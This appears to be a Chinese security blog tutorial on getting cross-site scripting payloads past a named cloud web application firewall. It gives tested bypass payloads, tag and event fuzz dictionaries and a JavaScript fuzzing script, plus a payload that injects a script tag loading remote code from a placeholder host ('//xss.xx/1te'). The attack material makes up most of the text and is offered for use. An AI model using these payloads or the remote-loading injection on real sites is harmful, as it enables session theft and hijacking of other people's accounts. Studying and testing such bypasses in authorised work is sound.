某xin_waf测试
字数 1233 2025-08-25 22:58:40
XSS绕过某xin WAF的测试方法与技巧
1. 某xin网站卫士简介
某xin网站卫士是提供免费网站加速和防护的云服务平台,主要功能包括:
- 网站加速
- 智能高防DNS
- 防DDOS攻击
- 防CC攻击
- 防黑客攻击
- 网站永久在线服务
2. XSS测试方法论
2.1 基本测试思路
- 从简单易满足的点出发,假设存在参数如
?xss=,不考虑闭合问题 - 关注HTML5新标签和属性
- 测试WAF未过滤完全的on事件
2.2 有趣的XSS触发方式
复制/粘贴/剪切触发
<x oncopy=y=prompt,y``>z
<x onpaste=y=prompt,y``>z
<x oncut=y=prompt,y``>z
oncopy: 用户拷贝元素内容时触发(CTRL+C)onpaste: 用户向元素粘贴文本时触发(CTRL+V)oncut: 用户剪切元素内容时触发(CTRL+X)
注意:反引号可替换为括号
其他实用事件
onmouseover: 鼠标悬停触发onmousedown/onmouseup: 需要点击元素触发
3. 有效的Bypass Payload
3.1 已测试有效的Payload
<details open ontoggle=[1].find(alert)>
<select autofocus onfocus=[2].find(alert)>
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
3.2 关键绕过技术
- 使用HTML5新标签如
<details> - 利用不常见的on事件如
ontoggle - 使用JavaScript函数式调用如
[1].find(alert) - 动态创建script标签并设置src属性
4. XSS Fuzz字典构建
4.1 标签字典(TAG)
a abbr acronym address applet area article aside audio b base basefont bdi bdo
big blockquote body br button canvas caption center cite code col colgroup
command datalist dd del details dfn dialog dir div dl dt em embed fieldset
figcaption figure font footer form frame frameset h1 to h6 head header hr html
i iframe img input ins kbd keygen label legend li link map mark menu meta
meter nav noframes noscript object ol optgroup option output p param pre
progress q rp rt ruby s samp script section select small source span strike
strong style sub summary sup table tbody td textarea tfoot th thead time
title tr track tt u ul var video wbr
4.2 事件字典(EVENT)
窗口事件
onafterprint onbeforeprint onbeforeunload onerror onhaschange onload
onmessage onoffline ononline onpagehide onpageshow onpopstate onredo
onresize onstorage onundo onunload
表单事件
onblur onchange oncontextmenu onfocus onformchange onforminput oninput
oninvalid onreset onselect onsubmit
键盘事件
onkeydown onkeypress onkeyup
鼠标事件
onclick ondblclick ondrag ondragend ondragenter ondragleave ondragover
ondragstart ondrop onmousedown onmousemove onmouseout onmouseover
onmouseup onmousewheel onscroll
多媒体事件
onabort oncanplay oncanplaythrough ondurationchange onemptied onended
onerror onloadeddata onloadedmetadata onloadstart onpause onplay
onplaying onprogress onratechange onreadystatechange onseeked onseeking
onstalled onsuspend ontimeupdate onvolumechange onwaiting
4.3 可执行代码(SAVE_PAYLOAD)
- 基本弹窗:
alert(1) - 函数式调用:
[1].find(alert) - 动态创建脚本:
s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te" - 编码/拆分/组合/拼接等变形技术
5. 自动化Fuzz脚本
5.1 JavaScript自动生成Payload
var i,j,k,xss,f=0;
var ons = ["onload","onerror"];
var labs = ["a","b","q","br","dd","dl","dt","h1","del","abbr","video","base","audio","details"];
var hexs= ["%09","%00","%0d","%0a"];
for(i=0;i<labs.length;i++){
for(j=0;j<hexs.length;j++){
for(k=0;k<ons.length;k++){
xss = f+'<'+labs[i]+hexs[j]+ons[k]+"=alert("+f+") src=a>a";
var body = document.getElementsByTagName("body");
var div = document.createElement("div");
div.innerHTML = f+"<iframe src=\"http://127.0.0.1/index.php?fuzz="+xss+"\"></iframe>";
document.body.appendChild(div);
f = f+1;
}
}
}
5.2 脚本特点
- 组合不同标签、空白字符和事件
- 自动递增编号便于识别
- 通过iframe加载测试URL
- 可扩展更多标签和事件
6. 测试建议与技巧
- 关注HTML5新特性:许多WAF对新标签和属性过滤不全
- 测试不常见事件:如
ontoggle、onfocus等 - 利用编码和空白字符:
%09(制表符)、%00(空字节)、%0d(回车)、%0a(换行) - 动态构建Payload:避免直接使用敏感关键词
- 收集公开案例:从HackerOne报告和Twitter上收集优秀XSS案例
7. 学习资源推荐
- Twitter:关注安全研究人员如@sOmd3v、@Ow4ys
- HackerOne:学习公开的XSS报告
- GitHub:寻找XSS Fuzz脚本和Payload集合
- HTML和JavaScript文档:深入了解各种事件和属性
通过系统性地收集、测试和整理,可以构建属于自己的XSS Payload字典,提高测试效率和成功率。